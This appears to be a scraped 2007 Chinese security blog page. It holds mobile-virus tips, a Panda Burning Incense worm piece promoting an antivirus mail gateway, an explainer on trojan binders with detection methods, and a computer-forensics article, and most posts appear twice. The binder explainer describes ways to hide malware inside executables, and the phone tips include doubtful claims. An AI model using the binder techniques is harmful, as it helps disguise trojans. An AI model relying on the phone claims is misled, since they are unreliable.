1、關閉亂碼電話。當對方的電話撥入時,屏幕上顯示的應該是來電電話號碼,結果卻顯示別的字樣或奇異符號。如果遇到上述情形,用戶應不回答或立即把電話關閉。如接聽來電,則會感染上病毒,同時機內所有新名詞及設定將被破壞。
2、盡量少從網上下載信息。病毒要想侵入且在流動網絡上傳送,要先破壞掉手機短信息保護系統,這本非容易的事情。但隨著3G時代的來臨,手機更加趨向于一臺小型電腦,有電腦病毒就會有手機病毒,因此從網上下載信息時要當心感染病毒。
3、注意短信息中可能存在的病毒。短信息的收發作為移動通訊的一個重要方式,也是感染手機病毒的一個重要途徑。如今手機病毒的發展已經從潛伏期過渡到了破壞期,短信息已成為下毒的常用工具。手機用戶一旦接到帶有病毒的短信息,閱讀后便會出現手機鍵盤被鎖,甚至破壞手機IC卡等嚴重效果。
4、對手機進行查殺病毒。目前查殺手機病毒的主要技術措施有兩種:一是通過無線網站對手機進行殺毒;二是通過手機的IC接入口或紅外傳輸口進行殺毒。在i模式手機中,為了禁止非法利用該功能,可采取以下的安全性措施:(1)將執行Java小程序的內存和存貯電話簿等功能的內存分割開來,從而禁止小程序訪問;(2)已經下載的Java小程序只能訪問保存該小程序的服務器;(3)當小程序試圖利用手機的硬件功能(如使用撥號功能打電話時)便會發出警告等。
手機病毒因手機網絡聯系密切,影響面廣,破壞力強,故不可掉以輕心。但也不必因噎廢食,只要做足防范措施,便可放心使用。
安全技巧之解讀卡巴斯基自動斷開連接
[ 2007-03-25 02:54:04 | 作者: sun ]
“熊貓燒香”的作者落網了,主犯也被抓了幾個,解毒程序更是在進一步鑒定中。似乎針對“熊貓燒香”病毒的斗爭一切都在向著很好的方向發展,真的是這樣么?解毒程序不是萬能的!時至今日,“熊貓燒香”病毒的新變種還在不斷出現,繼續危害著計算機用戶。在與瑞星專家的訪談中我們知道熊貓燒香病毒傳播主要是以感染的網頁文件和郵件傳播為主,病毒代碼多數藏匿在網頁文件代碼中,多數攜帶此類病毒的網頁文件都以廣告宣傳種類居多,通過郵件群發的方式在網上肆意擴散,造成計算機系統的癱瘓,嚴重妨礙了人們的正常工作和學習。
“熊貓燒香”的作者落網了,主犯也被抓了幾個,解毒程序更是在進一步鑒定中。似乎針對“熊貓燒香”病毒的斗爭一切都在向著很好的方向發展,真的是這樣么?
解毒程序不是萬能的!時至今日,“熊貓燒香”病毒的新變種還在不斷出現,繼續危害著計算機用戶。
在與瑞星專家的訪談中我們知道熊貓燒香病毒傳播主要是以感染的網頁文件和郵件傳播為主,病毒代碼多數藏匿在網頁文件代碼中,多數攜帶此類病毒的網頁文件都以廣告宣傳種類居多,通過郵件群發的方式在網上肆意擴散,造成計算機系統的癱瘓,嚴重妨礙了人們的正常工作和學習。
敏訊科技防病毒技術人員建議,“熊貓燒香”病毒通過網頁文件、郵件發送等方式感染到計算機系統,除了有效的安裝專業的殺毒軟件,升級到最新版本殺毒外,更主要的是對病毒傳播源頭開始進行徹底清理,否則沒有顯著的效果來對付“熊貓燒香病毒的滋生泛濫。針對網頁文件的感染需要做到不要隨意點擊不明的網頁地址鏈接,瀏覽網站時,務必打開計算機系統中防病毒軟件的“網頁監控”功能。
而針對通過郵件群發方式傳播“熊貓燒香”病毒,敏訊科技針對病毒郵件發送源頭進行徹底的攔截查殺。針對病毒郵件發送服務器聯機的時間、頻率、規則,虛假的smtp路由信息、動態IP等多種具備垃圾郵件典型行為的特征準確判斷,從而對病毒郵件發送行為進行深入探測,精確區分每一封病毒郵件。這種技術能夠追蹤到病毒郵件的原始傳遞信息、爆發信息,實施“空中攔截”方式把可疑病毒郵件攔截到“EQManager郵件網關”,而不用下載到郵件服務器傳播到用戶的計算機系統,從而保障了用戶計算機系統的安全使用。
另據介紹敏訊科技的“EQAVSE郵件防病毒系統”是敏訊科技自主研發的專業郵件防病毒產品,它嵌入的EQManager郵件安全網關的“查殺病毒郵件”模塊,每天都會自定義升級病毒策略庫,實時在線查殺病毒郵件,在線檢測技術、掃描速度、文檔修復、軟件功能等多方面功能,全方面對病毒文件查殺處理。
從電子郵件入手,切斷“熊貓燒香”入侵線路。防病毒、防垃圾郵件兩手齊動,多方位保護我們系統的安全,拒絕熊貓燒香入侵的黑手。
“熊貓燒香”的作者落網了,主犯也被抓了幾個,解毒程序更是在進一步鑒定中。似乎針對“熊貓燒香”病毒的斗爭一切都在向著很好的方向發展,真的是這樣么?
解毒程序不是萬能的!時至今日,“熊貓燒香”病毒的新變種還在不斷出現,繼續危害著計算機用戶。
在與瑞星專家的訪談中我們知道熊貓燒香病毒傳播主要是以感染的網頁文件和郵件傳播為主,病毒代碼多數藏匿在網頁文件代碼中,多數攜帶此類病毒的網頁文件都以廣告宣傳種類居多,通過郵件群發的方式在網上肆意擴散,造成計算機系統的癱瘓,嚴重妨礙了人們的正常工作和學習。
敏訊科技防病毒技術人員建議,“熊貓燒香”病毒通過網頁文件、郵件發送等方式感染到計算機系統,除了有效的安裝專業的殺毒軟件,升級到最新版本殺毒外,更主要的是對病毒傳播源頭開始進行徹底清理,否則沒有顯著的效果來對付“熊貓燒香病毒的滋生泛濫。針對網頁文件的感染需要做到不要隨意點擊不明的網頁地址鏈接,瀏覽網站時,務必打開計算機系統中防病毒軟件的“網頁監控”功能。
而針對通過郵件群發方式傳播“熊貓燒香”病毒,敏訊科技針對病毒郵件發送源頭進行徹底的攔截查殺。針對病毒郵件發送服務器聯機的時間、頻率、規則,虛假的smtp路由信息、動態IP等多種具備垃圾郵件典型行為的特征準確判斷,從而對病毒郵件發送行為進行深入探測,精確區分每一封病毒郵件。這種技術能夠追蹤到病毒郵件的原始傳遞信息、爆發信息,實施“空中攔截”方式把可疑病毒郵件攔截到“EQManager郵件網關”,而不用下載到郵件服務器傳播到用戶的計算機系統,從而保障了用戶計算機系統的安全使用。
另據介紹敏訊科技的“EQAVSE郵件防病毒系統”是敏訊科技自主研發的專業郵件防病毒產品,它嵌入的EQManager郵件安全網關的“查殺病毒郵件”模塊,每天都會自定義升級病毒策略庫,實時在線查殺病毒郵件,在線檢測技術、掃描速度、文檔修復、軟件功能等多方面功能,全方面對病毒文件查殺處理。
從電子郵件入手,切斷“熊貓燒香”入侵線路。防病毒、防垃圾郵件兩手齊動,多方位保護我們系統的安全,拒絕熊貓燒香入侵的黑手。
菜鳥也來對付最流行的幾種病毒捆綁器
[ 2007-03-25 02:53:46 | 作者: sun ]
【編者按:我們經常聽到有人說“我中毒啦”、“我的文件被感染”啦。而且很多時候人們會發現,病毒被查殺的同時,自己的文件也被破壞了,這一切其實都是和病毒的捆綁技術有關。本文內容僅供參考,切勿用于不當之處!】
最近不知怎么搞的,一夜就冒出許多捆綁機,害得我等菜鳥苦不堪言。今天就各種捆綁器的原理和檢測方法做個簡單的總結,以幫助各位識別帶毒程序。
一、傳統的捆綁器 這種原理很簡單,也是目前用的最多的一種。就是將B.exe附加到A.exe的末尾。這樣當A.exe被執行的時候,B.exe也跟著執行了。這種捆綁器的代碼是滿網都是。我最早是從jingtao的一篇關于流的文章中得知的。就目前來說,已經沒什么技術含量了。
檢測方法:稍微懂一點PE知識的人都應該知道。一個完整有效的PE/EXE文件,他的里面都包含了幾個絕對固定的特點(不管是否加殼)。一是文件以MZ開頭,跟著DOS頭后面的PE頭以PE\0\0開頭。有了這兩個特點,檢測就變得很簡單了。只需利用UltraEdit一類工具打開目標文件搜索關鍵字MZ或者PE。如果找到兩個或者兩個以上。則說明這個文件一定是被捆綁了。不過值得注意的是,一些生成器也是利用了這個原理,將木馬附加到生成器末尾,用戶選擇生成的時候讀出來。另外網上流行的多款“捆綁文件檢測工具”都是文件讀出來,然后檢索關鍵字MZ或者PE。
說到這里,相信大家有了一個大概的了解。那就是所謂的“捆綁文件檢測工具”是完全靠不住的一樣東西。
二、資源包裹捆綁器 就這原理也很簡單。大部分檢測器是檢測不出來的,但灰鴿子木馬輔助查找可以檢測出捆綁后未經加殼處理的EXE文件。但一般人都會加殼,所以也十分不可靠。這個學過編程或者了解PE結構的人都應該知道。資源是EXE中的一個特殊的區段。可以用來包含EXE需要/不需要用到的任何一切東西。利用這個原理進行100%免殺捆綁已經讓人做成了動畫。大家可以去下載看看。那捆綁器是如何利用這一點的呢?這只需要用到BeginUpdateResource、UpdateResource和EndUpdateResource這三個API函數就可以搞定。這三個API函數是用來做資源更新/替換用的。作者只需先寫一個包裹捆綁文件的頭文件Header.exe.頭文件中只需一段釋放資源的代碼。而捆綁器用的時候先將頭文件釋放出來,然后用上面說的三個API函數將待捆綁的文件更新到這個頭文件中即完成了捆綁。類似原理被廣泛運用到木馬生成器上。
檢測方法:一般這種很難檢測。如果你不怕麻煩,可以先將目標文件進行脫殼。然后用“灰鴿子木馬輔助查找”或“ResTorator”一類工具將資源讀出來進行分析。但這種方法畢竟不通用。所以還是推薦有條件的朋友使用虛擬機。
三、編譯器捆綁法 暫時不知用什么名字來形容,所以只能用這個來代替。這種方法相當的陰險。是將要捆綁的文件轉換成16進制保存到一個數組中。像這樣
muma:array[0..9128] of Byte=($4D,$5A,$50....$00);
然后用時再用API函數CreateFile和WriteFile便可將文件還原到硬盤。這里稍稍學過編程的都知道。代碼中的數組經過編譯器、連接器這么一搞。連影都沒了。哪還能有什么文件是吧?所以就這種方法而言,目前還沒有可以查殺的方法。這種方法可以利用編程輔助工具jingtao的DcuAnyWhere或Anskya的AnyWhereFileToPas來實現。
四、最最毒辣的一種 因為暫時用的人較少,且危害性及查殺難度太大,所以就不公布了。此法查殺方法通用性極差。如果流行,估計大家連動畫都不敢下著看了。
補充:可以利用一些第三方工具將硬盤和注冊表監視起來以后再運行那些你不確定是否被捆綁的程序。這樣,一旦硬盤出現變化,或有文件新建,或有文件改變都會被記錄在案。就算是查找起來也方便一點。
最近不知怎么搞的,一夜就冒出許多捆綁機,害得我等菜鳥苦不堪言。今天就各種捆綁器的原理和檢測方法做個簡單的總結,以幫助各位識別帶毒程序。
一、傳統的捆綁器 這種原理很簡單,也是目前用的最多的一種。就是將B.exe附加到A.exe的末尾。這樣當A.exe被執行的時候,B.exe也跟著執行了。這種捆綁器的代碼是滿網都是。我最早是從jingtao的一篇關于流的文章中得知的。就目前來說,已經沒什么技術含量了。
檢測方法:稍微懂一點PE知識的人都應該知道。一個完整有效的PE/EXE文件,他的里面都包含了幾個絕對固定的特點(不管是否加殼)。一是文件以MZ開頭,跟著DOS頭后面的PE頭以PE\0\0開頭。有了這兩個特點,檢測就變得很簡單了。只需利用UltraEdit一類工具打開目標文件搜索關鍵字MZ或者PE。如果找到兩個或者兩個以上。則說明這個文件一定是被捆綁了。不過值得注意的是,一些生成器也是利用了這個原理,將木馬附加到生成器末尾,用戶選擇生成的時候讀出來。另外網上流行的多款“捆綁文件檢測工具”都是文件讀出來,然后檢索關鍵字MZ或者PE。
說到這里,相信大家有了一個大概的了解。那就是所謂的“捆綁文件檢測工具”是完全靠不住的一樣東西。
二、資源包裹捆綁器 就這原理也很簡單。大部分檢測器是檢測不出來的,但灰鴿子木馬輔助查找可以檢測出捆綁后未經加殼處理的EXE文件。但一般人都會加殼,所以也十分不可靠。這個學過編程或者了解PE結構的人都應該知道。資源是EXE中的一個特殊的區段。可以用來包含EXE需要/不需要用到的任何一切東西。利用這個原理進行100%免殺捆綁已經讓人做成了動畫。大家可以去下載看看。那捆綁器是如何利用這一點的呢?這只需要用到BeginUpdateResource、UpdateResource和EndUpdateResource這三個API函數就可以搞定。這三個API函數是用來做資源更新/替換用的。作者只需先寫一個包裹捆綁文件的頭文件Header.exe.頭文件中只需一段釋放資源的代碼。而捆綁器用的時候先將頭文件釋放出來,然后用上面說的三個API函數將待捆綁的文件更新到這個頭文件中即完成了捆綁。類似原理被廣泛運用到木馬生成器上。
檢測方法:一般這種很難檢測。如果你不怕麻煩,可以先將目標文件進行脫殼。然后用“灰鴿子木馬輔助查找”或“ResTorator”一類工具將資源讀出來進行分析。但這種方法畢竟不通用。所以還是推薦有條件的朋友使用虛擬機。
三、編譯器捆綁法 暫時不知用什么名字來形容,所以只能用這個來代替。這種方法相當的陰險。是將要捆綁的文件轉換成16進制保存到一個數組中。像這樣
muma:array[0..9128] of Byte=($4D,$5A,$50....$00);
然后用時再用API函數CreateFile和WriteFile便可將文件還原到硬盤。這里稍稍學過編程的都知道。代碼中的數組經過編譯器、連接器這么一搞。連影都沒了。哪還能有什么文件是吧?所以就這種方法而言,目前還沒有可以查殺的方法。這種方法可以利用編程輔助工具jingtao的DcuAnyWhere或Anskya的AnyWhereFileToPas來實現。
四、最最毒辣的一種 因為暫時用的人較少,且危害性及查殺難度太大,所以就不公布了。此法查殺方法通用性極差。如果流行,估計大家連動畫都不敢下著看了。
補充:可以利用一些第三方工具將硬盤和注冊表監視起來以后再運行那些你不確定是否被捆綁的程序。這樣,一旦硬盤出現變化,或有文件新建,或有文件改變都會被記錄在案。就算是查找起來也方便一點。
網絡入侵證據的收集與分析
[ 2007-03-25 02:53:35 | 作者: sun ]
如果有未經授權的入侵者入侵了你的網絡,且破壞了數據,除了從備份系統中恢復數據之外,還需要做什么呢?
從事網絡安全工作的人都知道,黑客在入侵之后都會想方設法抹去自己在受害系統上的活動記錄。目的是逃脫法律的制裁。
而許多企業也不上報網絡犯罪,其原因在于害怕這樣做會對業務運作或企業商譽造成負面影響。他們擔心這樣做會讓業務運作因此失序。更重要的是收集犯罪證據有一定困難。因此,CIO們應該在應急響應系統的建立中加入計算機犯罪證據的收集與分析環節。
什么是“計算機犯罪取證”?
計算機取證又稱為數字取證或電子取證,是指對計算機入侵、破壞、欺詐、攻擊等犯罪行為利用計算機軟硬件技術,按照符合法律規范的方式進行證據獲取、保存、分析和出示的過程。從技術上,計算機取證是一個對受侵計算機系統進行掃描和破解,以及對整個入侵事件進行重建的過程。
計算機取證包括物理證據獲取和信息發現兩個階段。物理證據獲取是指調查人員到計算機犯罪或入侵的現場,尋找并扣留相關的計算機硬件;信息發現是指從原始數據(包括文件,日志等)中尋找可以用來證明或者反駁的證據,即電子證據。
除了那些剛入門的“毛小子”之外,計算機犯罪分子也會在作案前周密部署、作案后消除蛛絲馬跡。他們更改、刪除目標主機的日志文件,清理自己的工具軟件,或利用反取證工具來破壞偵察人員的取證。這就要求我們在反入侵的過程中,首先要清楚我們要做什么?然后才是怎么做的問題。
物理取證是核心任務
物理證據的獲取是全部取證工作的基礎。獲取物理證據是最重要的工作,保證原始數據不受任何破壞。無論在任何情況下,調查者都應牢記5點:(1)不要改變原始記錄;(2)不要在作為證據的計算機上執行無關的操作;(3)不要給犯罪者銷毀證據的機會;(4)詳細記錄所有的取證活動;(5)妥善保存得到的物證。如果被入侵的計算機處于工作狀態,取證人員應該設法保存盡可能多的犯罪信息。
要做到這5點可以說困難重重,首先可能出現的問題就是無法保證業務的連續性。由于入侵者的證據可能存在于系統日志、數據文件、寄存器、交換區、隱藏文件、空閑的磁盤空間、打印機緩存、網絡數據區和計數器、用戶進程存儲器、文件緩存區等不同的位置。由此看見,物理取證不但是基礎,而且是技術難點。
通常的做法是將要獲取的數據包括從內存里獲取易滅失數據和從硬盤獲取等相對穩定數據,保證獲取的順序為先內存后硬盤。案件發生后,立即對目標機和網絡設備進行內存檢查并做好記錄,根據所用操作系統的不同可以使用的內存檢查命令對內存里易滅失數據獲取,力求不要對硬盤進行任何讀寫操作,以免更改數據原始性。利用專門的工具對硬盤進行逐扇區的讀取,將硬盤數據完整地克隆出來,便于今后在專門機器上對原始硬盤的鏡像文件進行分析。
“計算機法醫”要看的現場是什么?(日志)
有的時候,計算機取證(Computer Forensics)也可以稱為計算機法醫學,它是指把計算機看作是犯罪現場,運用先進的辨析技術,對電腦犯罪行為進行法醫式的解剖,搜尋確認罪犯及其犯罪證據,并據此提起訴訟。好比飛機失事后,事故現場和當時發生的任何事都需要從飛機的“黑匣子”中獲取。說到這里您可能就猜到了,計算機的黑匣子就是自身的日志記錄系統。從理論上講,計算機取證人員能否找到犯罪證據取決于:有關犯罪證據必須沒有被覆蓋;取證軟件必須能找到這些數據;取證人員能知道這些文件,并且能證明它們與犯罪有關。但從海量的數據里面尋找蛛絲馬跡是一件非常費時費力的工作,解決這一難題方法的就是切入點,所以說從日志入手才是最直接有效的手段。
這里還需要指出,不同的操作系統都可以在“Event Viewer Security”(安全事件觀察器)中能夠檢查到各種活動和日志信息,但是自身的防護性能都是非常低,一旦遭受到入侵,很容易就被清除掉。從中我們可以看到,專業的日志防護與分析軟件在整個安全產品市場中的地位之重,無需置疑。
我國有關計算機取證的研究與實踐尚在起步階段,在信息技術較發達的美國已有了30年左右的歷史。現在美國至少有70%的法律部門擁有自己的計算機取證實驗室,取證專家在實驗室內分析從犯罪現場獲取的計算機(和外設),并試圖找出入侵行為。
在國內,公安部門打擊計算機犯罪案件是近幾年的事,有關計算機取證方面的研究和實踐才剛起步。中科院、浙江大學和復旦大學等在電子取證的各個技術方面都在積極開展研究工作。6月26日在北京召開的CFAT.2005首屆中國計算機取證技術峰會也是旨在推動國內外計算機取證先進技術的傳播和擴大研究交流的深度廣度,促進計算機取證專業人員、司法界人士以及興趣愛好者直接、深入的交流。在把企業業務連續性作為首位的同時,我們也呼吁更加智能化的物理取證工具的早日面試。
從事網絡安全工作的人都知道,黑客在入侵之后都會想方設法抹去自己在受害系統上的活動記錄。目的是逃脫法律的制裁。
而許多企業也不上報網絡犯罪,其原因在于害怕這樣做會對業務運作或企業商譽造成負面影響。他們擔心這樣做會讓業務運作因此失序。更重要的是收集犯罪證據有一定困難。因此,CIO們應該在應急響應系統的建立中加入計算機犯罪證據的收集與分析環節。
什么是“計算機犯罪取證”?
計算機取證又稱為數字取證或電子取證,是指對計算機入侵、破壞、欺詐、攻擊等犯罪行為利用計算機軟硬件技術,按照符合法律規范的方式進行證據獲取、保存、分析和出示的過程。從技術上,計算機取證是一個對受侵計算機系統進行掃描和破解,以及對整個入侵事件進行重建的過程。
計算機取證包括物理證據獲取和信息發現兩個階段。物理證據獲取是指調查人員到計算機犯罪或入侵的現場,尋找并扣留相關的計算機硬件;信息發現是指從原始數據(包括文件,日志等)中尋找可以用來證明或者反駁的證據,即電子證據。
除了那些剛入門的“毛小子”之外,計算機犯罪分子也會在作案前周密部署、作案后消除蛛絲馬跡。他們更改、刪除目標主機的日志文件,清理自己的工具軟件,或利用反取證工具來破壞偵察人員的取證。這就要求我們在反入侵的過程中,首先要清楚我們要做什么?然后才是怎么做的問題。
物理取證是核心任務
物理證據的獲取是全部取證工作的基礎。獲取物理證據是最重要的工作,保證原始數據不受任何破壞。無論在任何情況下,調查者都應牢記5點:(1)不要改變原始記錄;(2)不要在作為證據的計算機上執行無關的操作;(3)不要給犯罪者銷毀證據的機會;(4)詳細記錄所有的取證活動;(5)妥善保存得到的物證。如果被入侵的計算機處于工作狀態,取證人員應該設法保存盡可能多的犯罪信息。
要做到這5點可以說困難重重,首先可能出現的問題就是無法保證業務的連續性。由于入侵者的證據可能存在于系統日志、數據文件、寄存器、交換區、隱藏文件、空閑的磁盤空間、打印機緩存、網絡數據區和計數器、用戶進程存儲器、文件緩存區等不同的位置。由此看見,物理取證不但是基礎,而且是技術難點。
通常的做法是將要獲取的數據包括從內存里獲取易滅失數據和從硬盤獲取等相對穩定數據,保證獲取的順序為先內存后硬盤。案件發生后,立即對目標機和網絡設備進行內存檢查并做好記錄,根據所用操作系統的不同可以使用的內存檢查命令對內存里易滅失數據獲取,力求不要對硬盤進行任何讀寫操作,以免更改數據原始性。利用專門的工具對硬盤進行逐扇區的讀取,將硬盤數據完整地克隆出來,便于今后在專門機器上對原始硬盤的鏡像文件進行分析。
“計算機法醫”要看的現場是什么?(日志)
有的時候,計算機取證(Computer Forensics)也可以稱為計算機法醫學,它是指把計算機看作是犯罪現場,運用先進的辨析技術,對電腦犯罪行為進行法醫式的解剖,搜尋確認罪犯及其犯罪證據,并據此提起訴訟。好比飛機失事后,事故現場和當時發生的任何事都需要從飛機的“黑匣子”中獲取。說到這里您可能就猜到了,計算機的黑匣子就是自身的日志記錄系統。從理論上講,計算機取證人員能否找到犯罪證據取決于:有關犯罪證據必須沒有被覆蓋;取證軟件必須能找到這些數據;取證人員能知道這些文件,并且能證明它們與犯罪有關。但從海量的數據里面尋找蛛絲馬跡是一件非常費時費力的工作,解決這一難題方法的就是切入點,所以說從日志入手才是最直接有效的手段。
這里還需要指出,不同的操作系統都可以在“Event Viewer Security”(安全事件觀察器)中能夠檢查到各種活動和日志信息,但是自身的防護性能都是非常低,一旦遭受到入侵,很容易就被清除掉。從中我們可以看到,專業的日志防護與分析軟件在整個安全產品市場中的地位之重,無需置疑。
我國有關計算機取證的研究與實踐尚在起步階段,在信息技術較發達的美國已有了30年左右的歷史。現在美國至少有70%的法律部門擁有自己的計算機取證實驗室,取證專家在實驗室內分析從犯罪現場獲取的計算機(和外設),并試圖找出入侵行為。
在國內,公安部門打擊計算機犯罪案件是近幾年的事,有關計算機取證方面的研究和實踐才剛起步。中科院、浙江大學和復旦大學等在電子取證的各個技術方面都在積極開展研究工作。6月26日在北京召開的CFAT.2005首屆中國計算機取證技術峰會也是旨在推動國內外計算機取證先進技術的傳播和擴大研究交流的深度廣度,促進計算機取證專業人員、司法界人士以及興趣愛好者直接、深入的交流。在把企業業務連續性作為首位的同時,我們也呼吁更加智能化的物理取證工具的早日面試。

